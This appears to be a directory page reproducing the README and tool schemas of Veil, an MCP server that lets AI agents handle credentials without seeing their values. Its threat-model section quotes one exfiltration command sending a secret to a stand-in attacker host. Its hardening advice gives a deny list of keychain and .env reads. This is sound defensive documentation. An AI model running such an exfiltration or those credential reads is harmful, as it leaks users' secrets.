Skip to main content
Glama

English · Español

Veil

Let an AI agent ask for, store and use credentials — without ever seeing them.

CI License: MIT Node ≥ 20.11 MCP server

Threat model · Security policy · Changelog

Veil (@asteby/veil) is an open-source Model Context Protocol server (stdio, TypeScript). The agent sends only metadata (a form schema); you type the values in a page served on http://127.0.0.1; they go straight to a destination you allowlisted. The agent gets back names and statuses, never values.

Why

  • Secrets pasted into a chat stay in the chat. Once a key is in the conversation it is part of the model's context and of whatever the client stores. Veil keeps the value on a local page and out of the conversation.

  • Agents need to use credentials, not read them. The agent writes ${secret:NAME}; the server resolves it inside its own process at the moment of use, after you approve the literal action, and scrubs the output.

  • Real work is more than one API key. Price lists pasted from a spreadsheet, customer data, SSH keys for a new server, a token that has to end up in a production .env, an encrypted backup of everything, a key shared with a teammate's agent: all with the same flow and an audit trail.

Without Veil

You:   here's the token: APP_USR-4821-…-9f3c
Agent: Thanks! Writing it to /etc/acme.env:
       MP_ACCESS_TOKEN=APP_USR-4821-…-9f3c

↳ the value is now in the model's context
  and in the conversation history.

With Veil

Agent: secret_request({fields:[{name:"MP_ACCESS_TOKEN"}]})
       → a local page opens; you paste the token there
Agent: ← {status:"completed", stored:["MP_ACCESS_TOKEN"]}
Agent: secret_write({name:"MP_ACCESS_TOKEN",
         target:{kind:"env-file", host:"prod-vps", …}})
       → you approve the exact write
Agent: ← {written:true, keys:[{key:"MP_ACCESS_TOKEN", action:"updated"}]}

Related MCP server: secure-browser-mcp

How it works

  1. The model calls a tool with metadata only. Destinations, hosts, paths, tables and sites must be in your config (allowlist).

  2. A one-time link http://127.0.0.1:<port>/p/<256-bit token> reaches you via MCP URL elicitation when the client supports it (otherwise it is returned for the client to show, and opened with xdg-open/open if ui.openBrowser). The first browser that opens it binds it with an HttpOnly cookie; it expires in 10 min.

  3. You fill in or approve. CSRF token + Origin/Host checks + strict nonce CSP; nothing third-party; no autocomplete.

  4. Values go to the destination from this process (stdin/env, never argv; never logged).

  5. Tool results are structural; a final scrub removes any handled value and its encodings.

  6. Every use is audited (hash-chained JSONL). veil verify-audit checks the chain.

Capabilities

Capability

Tools

What the model gets

Blind forms — secrets, or rich schemas: sections, number/money/date/select/multiselect/boolean/file, showIf, repeatable tables with CSV / spreadsheet paste, preview

secret_request, blind_input, blind_input_preview, secret_wait

{stored:[names]}, {rows_written, ids}, {field, code} errors

Use without seeing — exec / http with ${secret:NAME}, approval page shows the literal action

secret_use

exit code / HTTP status + redacted output

Web capture — a Chromium window owned by the server; you log in, it extracts the value DOM → store

web_capture, web_login

{stored:[name]} or {failed_step, error_code} — never page text

SSH keys — generate, install with a one-time password, test, run commands

ssh_key_provision, ssh_exec

fingerprints, access test, redacted output

Write to where it's needed — .env (local or over SSH), JSON/YAML, systemd, GitHub Actions secrets, clipboard; form sinks to SQL (Postgres), HTTP APIs, files

secret_write, blind_input sinks

{written, target, keys:[{key, action}]}

Stores — OS keychain, Veil's own encrypted store (master password, no install needed), encrypted file (AES-256-GCM), .env, file over SSH, Vault KV v2, Infisical, 1Password Connect, OPS

secret_list, secret_delete, secret_rotate, local_unlock

names + metadata (created, last used, expiry, rotation due)

Encrypted backup & sync — envelope-encrypted bundle to a folder, SSH, private git repo, S3/R2, WebDAV or HTTP; anti-rollback, conflict detection, key rotation

vault_export, vault_sync, vault_import, vault_rekey

counts and names

Share by token — chosen secrets, expiry, max views, optional passphrase; the token is shown only on the local page

share_create, share_list, share_revoke, share_import

{share_id, names, expires_at, max_views}

Encrypted .env files — per-value encryption that stays git-friendly; use them in commands and writes without decrypting to disk

env_status, env_unlock, env_encrypt, env_edit, env_diff, env_rotate

key names, recipients, which keys changed

Zero-config setup — diagnostics with the exact fix per OS/distro, actionable errors in English and Spanish

doctor

checks + fix commands (never secrets)

What it looks like

Real screenshots of the local pages, regenerated with Playwright from the actual UI (sample data: “Acme Store”). They follow your GitHub theme.

Install in Claude Code

Requirements: Node ≥ 20.11 — nothing else at runtime (pnpm to build from source). Not published to npm yet, so install from a clone:

git clone https://github.com/asteby/veil && cd veil
pnpm install && pnpm build
claude mcp add veil -- node "$PWD/dist/cli.js"

Then ask the agent for something that needs a credential (“set up the payment provider token for production”) and it will open the local page. Once published: claude mcp add veil -- npx -y @asteby/veil.

Formerly veilform. Nothing to migrate by hand: the veilform command stays as an alias, VEILFORM_* variables still work (with a deprecation warning; use VEIL_*), ~/.config/veilform is used while ~/.config/veil does not exist (veil doctor shows the mv), secrets in the keychain service veilform and files written before (encrypted store, bundles, shares, encrypted .env with #/veilform-env v1 / enc:v1:) keep opening. Re-register the MCP server under the new name: claude mcp remove veilform && claude mcp add veil -- node "$PWD/dist/cli.js". Details in the CHANGELOG.

The OS keychain is used when it works (Linux: secret-tool from libsecret-tools + GNOME Keyring/KWallet; macOS: the built-in security); when it does not, Veil uses its own encrypted store and needs no extra package. Optional, only for the features that use them: playwright-core + Chromium for web_capture, psql for SQL sinks, gh for GitHub secrets, OpenSSH for SSH features, git for git sync targets. veil doctor tells you exactly what is missing and the command to install it.

First use

node dist/cli.js init      # once published: npx @asteby/veil init

init runs the doctor, shows a plan and, after you confirm (--yes to skip the question, --dry-run to only look), applies user-level changes only: it creates ~/.config/veil (0700), tightens permissions and writes a config.json whose default destination works without installing anything:

  • OS keychain usable → local = keychain with fallback: "auto" (if the keychain later breaks, values go to Veil's encrypted store).

  • OS keychain missing/locked/unsupported → local = Veil's encrypted store (encrypted-file with key: {source: "master"}, file ~/.config/veil/local-vault.json).

It never runs sudo and never asks for a secret. Commands that need privileges (e.g. sudo apt install -y libsecret-tools) are printed for you to copy. An optional postinstall only prints a hint; set VEIL_POSTINSTALL=init to run init --dry-run right after installing.

The encrypted store is one file in the existing encrypted-file format: AES-256-GCM per value (the name is the AAD), key derived with argon2id (Node ≥ 24.7; scrypt N=2^17 otherwise) from a master password:

  1. The first time a value has to go there, the local page (127.0.0.1) asks you to define the master password right there — never in the chat, MCP arguments or argv. You can also do it ahead of time: veil unlock, veil init --master, or the MCP tool local_unlock.

  2. Unlocking keeps only the derived key in memory: in the session agent (veil agent) when it runs — then every Veil process shares it and veil lock forgets it — or inside the MCP process, for localVault.unlockMinutes (default 15).

  3. Later, when the keychain works, you can save the derived key there so the store opens without typing the password: veil unlock --save-keychain (--forget-keychain undoes it). veil unlock --change-password re-encrypts everything under a new password.

  4. No plaintext is ever written to disk; values and the master password are registered in the scrub list before anything else and never reach responses, logs or the audit trail.

If you forget the master password the data cannot be recovered — by design, there is no back door. Keep the password in your password manager or on paper, and back up local-vault.json (it is useless without the password). For an off-machine encrypted copy use veil export / vault_sync.

When the default destination is the keychain and it fails during a secret_request, the page offers to continue with the encrypted store (asking for — or creating — the master password on that same page) instead of failing, and shows the exact command to fix the keychain for good. Set fallback: "never" on a keychain destination to forbid that.

  • Configuration is an allowlist: copy examples/config.example.json to ~/.config/veil/config.json (or let init write a minimal one) and keep only what you need. Without a config file there is one destination, local (OS keychain, fallback: "ask": the page offers the encrypted store if the keychain fails). Check it with veil check-config and veil doctor.

  • Environment: VEIL_HOME (default ~/.config/veil), VEIL_CONFIG, VEIL_AGENT (label written to the audit log), VEIL_KEY_FILE (key file for encrypted .env), VEIL_POSTINSTALL.

  • Recommended Claude Code hardening (.claude/settings.json): deny the agent's own tools access to what this server protects, e.g. "deny": ["Read(~/.config/veil/**)", "Bash(secret-tool:*)", "Bash(security:*)", "Read(**/.env)"].

Troubleshooting

Run veil doctor (or the read-only MCP tool doctor; --json for machines). It checks Node/crypto (argon2id), the keychain backend (secret-tool, D-Bus session, Secret Service provider and whether the default keyring is unlocked on Linux; security on macOS; on Windows the Credential Manager backend is planned and the encrypted store is used), the default destination, the encrypted store and session agent, permissions of ~/.config/veil, and ssh/git/gh/psql/Chromium for the features that use them. Every problem lists its impact and the exact command for your distribution (apt, dnf, pacman, zypper, apk, brew, winget). It runs nothing privileged and asks for nothing secret.

Errors are structured — {error, code, help:{en,es}, fix:{en,es,command, alternative}} — in MCP responses, and translated on the local page:

Code

Meaning

Fix

keychain_unavailable

secret-tool not installed (reason: missing_tool), no D-Bus session (no_dbus, SSH/headless) or no Secret Service (no_service)

sudo apt install -y libsecret-tools (or dnf/pacman/…), dbus-run-session -- $SHELL, gnome-keyring-daemon --start --components=secrets — or veil init

keychain_locked

the keyring is locked / waiting for an unlock prompt

unlock "Login" in Passwords and Keys (seahorse); macOS: security unlock-keychain

keychain_unsupported

no keychain backend on this OS yet (Windows)

veil init (encrypted store)

passphrase_required

the encrypted store is locked

MCP local_unlock or veil unlock

master_password_not_set

the encrypted store has no master password yet

define it on the local page (veil unlock)

destination_not_configured

the destination is not in config.json

veil init or add it

wrong_key / too_many_attempts

wrong master password / temporary lockout after 5 failures

try again later

Sync, sharing and encrypted .env files

Every result is names, counts and ids only; passphrases and tokens are typed or shown on the local page.

Bundle (manifest.json + o/<random id> per secret, or one .vfb file): one random AES-256-GCM data key (DEK) per secret, wrapped by a KEK = HKDF(argon2id/scrypt(passphrase) ‖ optional key file / keychain secret). Names and metadata live only in the encrypted index; the header (format version, bundle id, monotonic seq, key parameters, sha256 of each object) is the AAD of the index, so swapped, truncated, edited or older (rollback) bundles are rejected. Each secret carries a vector clock: vault_sync never overwrites a concurrent change silently (strategy: report, keep-local, take-remote, keep-both). CLI: veil export|import|sync|rekey.

Targets (sync.targets in the config, allowlist): dir, ssh (host from ssh.hosts), git (private repo; git spawned by argv, credentials from your ssh-agent/credential helper), s3 (S3/R2/MinIO, built-in SigV4), webdav, http. Credentials for targets are references to the local store (tokenRef, accessKeyRef…), never inline.

"sync": {
  "targets": { "r2": { "type": "s3", "endpoint": "https://<account>.r2.cloudflarestorage.com", "bucket": "vault", "accessKeyRef": "R2_ID", "secretKeyRef": "R2_SECRET" },
               "repo": { "type": "git", "url": "git@github.com:me/vault-backup.git" } },
  "secondFactor": { "type": "key-file", "path": "~/.config/veil/sync.key" },
  "shareTarget": "r2"
}

Share token = vfs1://<target>/<share_id>#<key> — the key is in the URL fragment (never sent to any server). The bundle is encrypted with HKDF(key ‖ argon2id(passphrase)) when require_passphrase; expiry and max views are inside the authenticated header. A person opens it with veil share open (local page, token in the fragment or pasted, values hidden again after N s); another agent uses share_import({token_file}) and then secret_use.

Encrypted .env (#/veil-env v1 header, KEY="veil:1:…" per value, comments/order kept, whole-file MAC, N recipients). secret_use({env_file}) and secret_write({from:{kind:"env-enc"}}) use them without the model seeing values:

veil env keygen ~/.config/veil/keys/myapp.key                 # 0600, outside the repo
veil env encrypt .env.production --key-file ~/.config/veil/keys/myapp.key  # + passphrase on TTY
veil env hook install                                         # pre-commit refuses plaintext .env
veil run --env .env.production -- node server.js              # values only in the child env; output redacted
veil env unlock .env.production --status                      # which unlock methods work here (no values)
veil env share .env.production --expires 1h --max-views 1     # token that unlocks ONLY this file

Unlock methods: key file (--key-file, VEIL_KEY_FILE, env.keyFiles), OS keychain (env.keychain), systemd credential (LoadCredential=veil-key:…, see examples/systemd/), session agent (veil agent, veil lock), passphrase (TTY or local page, attempts limited), share token. Limits and comparison with age/sops/1Password/Vault: THREAT-MODEL.md §8.

Examples

Stripe key, then a call: secret_request({title:"Stripe", fields:[{name:"STRIPE_KEY", label:"Secret key", pattern:"sk_(live|test)_[A-Za-z0-9]+"}]}) → you paste it in the local page → {stored:["STRIPE_KEY"]} → secret_use({action:"http", method:"GET", url:"https://api.stripe.com/v1/balance", headers:{Authorization:"Bearer ${secret:STRIPE_KEY}"}}) → the approval page shows exactly that request → {http_status:200, body:"…"} (the key is redacted if the API echoes it).

Token to a production .env over SSH: secret_write({name:"MP_ACCESS_TOKEN", target:{kind:"env-file", host:"prod-vps", path:"/etc/myapp/myapp.env", key:"MP_ACCESS_TOKEN"}, dry_run:true}) → {changes:[{key:"MP_ACCESS_TOKEN", action:"updated"}]}. Without dry_run, after your approval, the server reads the remote file over SSH, changes only that key (comments and other keys kept), uploads it on stdin to a temp file, chmod 0600, optional chown/backup, and mv atomically.

Capture a token from a web panel without the model seeing it: web_capture({site:"mercadopago", name:"MP_ACCESS_TOKEN", steps:[…], extract:{selector:"[data-testid=access-token]", regex:"(APP_USR-[\\w-]+)"}}) — a Chromium window owned by this server opens; you log in (password/2FA never touch the model); you can edit the steps on the approval page; the value goes DOM → store.

SSH key for a new VPS: ssh_key_provision({host:"prod-vps", alias:"deploy_key", password:true}) → the page shows the host-key fingerprint to compare with your provider, asks the one-time root password, installs the public key, tests access. Then ssh_exec({host:"prod-vps", command:"systemctl restart myapp"}).

Batch of USD prices into Postgres: blind_input with a repeater rows:[sku, price(money USD)] and sink {type:"sql", database:"appdb", table:"public.product_prices", mode:"upsert", rows:"rows", columns:{…}, dry_run:true}. You paste the rows from a spreadsheet; values travel as COPY … FROM STDIN data into a typed temp table and INSERT … SELECT in one transaction (never as SQL text).

Sensitive customer data: blind_input with name, email, tax id (pattern), phone and an http sink to your CRM; the model receives only the created ids.

Back up and hand over a key: vault_sync({target:"r2"}) → you type the backup passphrase on the local page → {target:"r2", pushed:{seq:7, count:12}}. Then share_create({names:["STRIPE_KEY"], expires_in:"1h", max_views:1}) → the token appears only on your page; your teammate's agent runs share_import({token_file}) and uses it with secret_use.

Security

What it protects

  • Values never enter the model's context: tool results are structural (names, statuses, counts, ids, error codes), and a last-line scrub removes any handled value and its common encodings. Property tests check that tool responses, the JSON-RPC wire, the audit log and stderr never contain the value.

  • Values never go into argv of spawned processes (stdin, env, FIFOs instead) or into logs.

  • The local page is single-use, bound to 127.0.0.1, with CSRF, Origin/Host and DNS-rebinding checks and a strict CSP; model-provided text is rendered with textContent only.

  • Every new action (command, HTTP request, write target, sink, SSH command, capture plan) needs a click on a page that shows it literally. “Remember” is keyed to the exact fingerprint; any change asks again.

  • Backups, shares and encrypted .env files are authenticated end to end (AES-256-GCM, argon2id/scrypt, anti-rollback); storage targets only see opaque blobs. Passphrases and the master password are typed only on the local page or a TTY.

What it does not protect (read the threat model)

  • An action you approve that sends or transforms the value (curl https://attacker/?k=${secret:X}). The approval page shows the literal action and warns on shells and network/encoding tools, but you decide.

  • Malware or an agent with an unrestricted shell running as your OS user: it can read the keychain and the files Veil writes. Restrict the agent's tools (see the hardening above) or sandbox it.

  • A browser the model can see (browser extension, Playwright MCP, computer use) opening a page that shows a secret. Use web_capture, which returns nothing but status.

  • A share token or master password that leaks, or one you forget (no recovery by design); revoking a share does not make a reader forget — rotate.

  • Redaction is heuristic: very short values and exotic encodings are not detected. JavaScript strings cannot be zeroised.

How it compares

Other good tools attack nearby problems. They are often complementary rather than alternatives. Descriptions are based on each project's public documentation; check it for current details.

Approach

What it solves well

Where Veil fits

Password managers / 1Password (op run, op:// references, Connect)

Storing and sharing secrets for people and teams, policies, rotation. 1Password has publicly stated it will not expose raw credentials through MCP and favours injecting them on the agent's behalf.

Veil can use 1Password Connect as a destination: you type the value in the local form and it is written there server to server.

HashiCorp Vault / Infisical

Central secret storage with access policies, audit, leases and (in Vault) dynamic secrets.

Also destinations (vault-kv2, infisical adapters). Veil adds the human intake step and per-action approval for agent-driven use.

Encrypted config in git (sops, age, dotenvx)

Committing encrypted secrets next to the code, with team recipients and CI decryption.

Veil's encrypted .env is similar in spirit; the difference is that the agent edits, diffs and runs with it without the values entering its context. Details in THREAT-MODEL.md §8.3.

Injection proxies and brokers for agents (e.g. OneCLI, BlindKey)

The agent uses placeholders and a gateway/broker swaps in the real credential when the request leaves; well suited to frequent API calls.

Focuses on getting values in (forms, tables, web capture, SSH keys) and out to places (.env over SSH, SQL, GitHub secrets), each with a literal approval. A proxy can handle high-volume runtime calls alongside it.

Development

pnpm install
pnpm typecheck && pnpm lint && pnpm test   # vitest: unit, property, simulated APIs, sshd loopback, Postgres (docker) if available
pnpm test:e2e                              # Playwright: forms, approval, setup/fallback, share reveal, encrypted .env edit

README visuals: node scripts/readme-assets/make-svgs.mjs (animated SVGs and icons) and npx playwright test --config scripts/readme-assets/playwright.config.ts (screenshots and recording from the real UI; needs ffmpeg with libwebp).

Deviations from the original design brief (documented): the keychain uses the platform CLIs instead of @napi-rs/keyring (no native addon); encrypted-file uses Node's AES-256-GCM + scrypt/argon2id instead of age/libsodium; property tests use a small seeded PRNG instead of fast-check. All three because the build had to work offline with the cached dependencies, and they keep the runtime dependency list to the MCP SDK and zod.

License

MIT

Available Tools

13 tools
blind_inputCollect any values blindly (forms, tables, CSV)A

Generic blind input: send ONLY a schema (sections, typed fields, validations, showIf conditions, repeaters/tables with CSV import) and a sink (store, http, sql, file, ops-dataload, callback). The person fills the local page; values go directly to the sink. You receive {request_id, status, rows_written, ids, stored, keys, field_errors:[{field, code}]} and never values. Non-store sinks need the person's explicit approval on the same page (it shows the template with ${field} placeholders). Use blind_input_preview first to validate a complex schema.

NameRequiredDescriptionDefault
sinkYes
titleYes
schemaYes
metadataNo
descriptionNo
submit_labelNo
blind_input_previewValidate a blind_input schemaB
Read-only

Validates a schema (and optional sink) and returns a structural summary plus a local preview URL with a disabled mock-up of the form. No values involved.

NameRequiredDescriptionDefault
sinkNo
titleNo
schemaYes
secret_deleteDelete a stored secretB
Destructive

Deletes a secret by name (optionally only from one destination).

NameRequiredDescriptionDefault
nameYes
destinationNo
secret_listList stored secrets (names only)A
Read-only

Lists secret names with metadata (destination, created/updated/last used, expiry, rotation due, tags, project) and what this server is allowed to use (destinations, ssh hosts, databases, web sites, write targets). Never values.

NameRequiredDescriptionDefault
tagNo
projectNo
destinationNo
secret_requestAsk the person for credentialsA

Opens a LOCAL page (http://127.0.0.1) with the given fields so the person can type API keys, tokens or passwords. Values go straight from the browser to the configured destination (OS keychain, encrypted file, .env, remote store...). Returns {request_id, status, stored:[names]} (plus url when the client cannot open it: show the url to the person, then call secret_wait). Use the stored names later as ${secret:name}. You will NEVER receive secret values: only names, statuses, counts, ids and fingerprints. Do not ask the person to paste secrets in chat; use these tools instead. Do not try to read the stores, the .env files written by this server, or the veilform directory with other tools.

NameRequiredDescriptionDefault
titleYes
fieldsYes
metadataNo
descriptionNo
destinationNo
secret_rotateAsk the person for a new value of an existing secretA

Re-opens the intake page for an existing secret (same label, destination and metadata). Use when secret_list shows expired or rotation_due.

NameRequiredDescriptionDefault
nameYes
titleNo
secret_useUse secrets without seeing them (exec / http)A

Runs an action with secrets resolved inside this server at the moment of use. exec: argv without shell (secrets via env or stdin), or a shell script where ${secret:name} becomes an env var. http: request to an allowlisted https host with ${secret:name} in url/headers/body. Every NEW action (exact fingerprint) needs the person's approval on a local page that shows the literal action; they may choose to remember it. Output is redacted (raw, base64, hex, url-encoded, quoted variants) and size-limited.

NameRequiredDescriptionDefault
cwdNo
envNoexec: env vars for the child; values may contain ${secret:name}
urlNohttp: https URL on an allowlisted host
bodyNohttp: body; may contain ${secret:name}
namesNosecrets used (optional; derived from ${secret:...} references)
shellNoexec: POSIX sh script; ${secret:name} becomes an env var reference inside the child
stdinNoexec: stdin for the child; may contain ${secret:name}
actionYes
methodNohttp: method (default GET)
commandNoexec: argv, run WITHOUT a shell; ${secret:..} not allowed here
headersNohttp: headers; values may contain ${secret:name}
timeout_msNo
redact_env_filesNo
secret_waitWait for the personC
Read-only

Waits (default 120 s) for a pending request/approval and returns its structural result.

NameRequiredDescriptionDefault
idYes
timeout_secondsNo
secret_writeCopy a stored secret to a file or serviceA

Writes stored values to an allowlisted target without exposing them: env-file (local or ssh host; updates only that key, keeps comments, 0600, atomic, optional backup), json/yaml by key path, systemd EnvironmentFile drop-in, GitHub Actions secret (gh, via stdin) or the clipboard (only after the person clicks, auto-cleared). First use of each target needs approval. dry_run tells which keys would be created/updated. Returns {written, target, keys:[{key, action}]}.

NameRequiredDescriptionDefault
keysNosecret name → key in the target (default: the target key or the secret name)
nameNo
namesNo
targetYes
dry_runNo
ssh_execRun a remote command with stored secretsA

Runs a shell command on an allowlisted SSH host (using the provisioned key). env values may contain ${secret:name}; they are delivered through stdin as exports, never argv. Needs approval per exact command; output redacted.

NameRequiredDescriptionDefault
envNoremote env vars; values may contain ${secret:name}; delivered via stdin, not argv
hostYes
commandYes
timeout_msNo
ssh_key_provisionCreate and install an SSH key (blind)A

Generates an ed25519 key locally (private key in the secret store + private ssh-agent, or a 0600 file), shows the host key fingerprint to the person for confirmation, optionally asks them for a one-time SSH password on the local page, installs the public key in authorized_keys and tests access. Returns only alias and fingerprints.

NameRequiredDescriptionDefault
hostYeskey of ssh.hosts in config
aliasYes
storageNostore
passwordNoask the person for a one-time SSH password to install the key
web_captureCapture a credential from a web panel (blind)A

Opens a browser window OWNED BY THIS SERVER (not yours) on an allowlisted site. The person logs in there (password/2FA never reach you). Declared steps (navigate/click/wait/wait_for_url/fill/press) run after approval (the person can edit them), then the extractor reads the value from the DOM straight into the store. You get only {stored:[name]} or {failed_step, error_code}; never page text, HTML or screenshots. Prefer this over any browser tool you control when a page shows a secret.

NameRequiredDescriptionDefault
urlNo
nameYes
siteYes
stepsNo
extractYes
metadataNo
destinationNo
web_loginLog in to a site with stored credentials (blind)B

Fills a login form inside this server's own browser using ${secret:name} values (only on allowlisted origins) and saves the session encrypted with a TTL for later web_capture calls.

NameRequiredDescriptionDefault
urlNo
siteYes
stepsYes
save_sessionNo

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 13 tool updatesv0.1.0
    • First observedblind_input
    • First observedblind_input_preview
    • First observedsecret_delete
    • First observedsecret_list
    • First observedsecret_request
    • First observedsecret_rotate
    • First observedsecret_use
    • First observedsecret_wait
    • First observedsecret_write
    • First observedssh_exec
    • First observedssh_key_provision
    • First observedweb_capture
    • First observedweb_login

TDQS

A3.7/5.0

Scored across 13 tools

Disambiguation4/5

Each tool has a genuinely distinct purpose grouped around secrets, blind input, SSH, and web capture. Minor potential confusion between secret_request and blind_input (both open an intake page) and between blind_input and blind_input_preview, but descriptions clearly differentiate (preview validates only, no values).

Naming Consistency4/5

Tools are consistently grouped by domain prefix (secret_*, ssh_*, web_*, blind_input_*) with predictable suffixes. Slight inconsistency in that some read as resource_verb (secret_list) while others are verb_noun (ssh_key_provision), but readability is high throughout.

Tool Count5/5

13 tools is a well-scoped count for a security-focused server covering multiple sub-domains (secrets lifecycle, SSH, web automation, blind input). Each tool earns its place with no obvious redundancy.

Completeness4/5

Covers a full secret lifecycle (request, list, rotate, delete, use, write) plus SSH key provisioning/exec and web login/capture, with preview and wait support. Reading secret values is deliberately omitted by design, so coverage is strong for the stated purpose.

Maintenance

ActivityMaintained
ResponsivenessNo recent community issues

Related MCP Connectors

Related MCP Servers

  • A
    license
    Not graded
    quality
    D
    maintenance
    Zero-knowledge credential injection for AI agents. Your agent authenticates to websites and APIs without ever seeing a password, TOTP code, or API key.
    15 npm
    1
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    Enables secure browser automation by letting agents fill Turnkey-stored secrets into web forms without the secret values ever appearing in the conversation, transcript, or model context.
    5 npm
    6
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables AI agents to securely control a user's existing Chrome profile locally, providing typed browser actions, form and editor support, WordPress workflows, terminal automation, and Figma inspection with policy-based authorization and redacted auditing.
    MIT
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables AI assistants to securely control a real, logged-in browser with per-site permissions, per-action approvals, secret redaction, and a tamper-evident audit log, all locally without a cloud relay.
    377,314 npm
    1
    MIT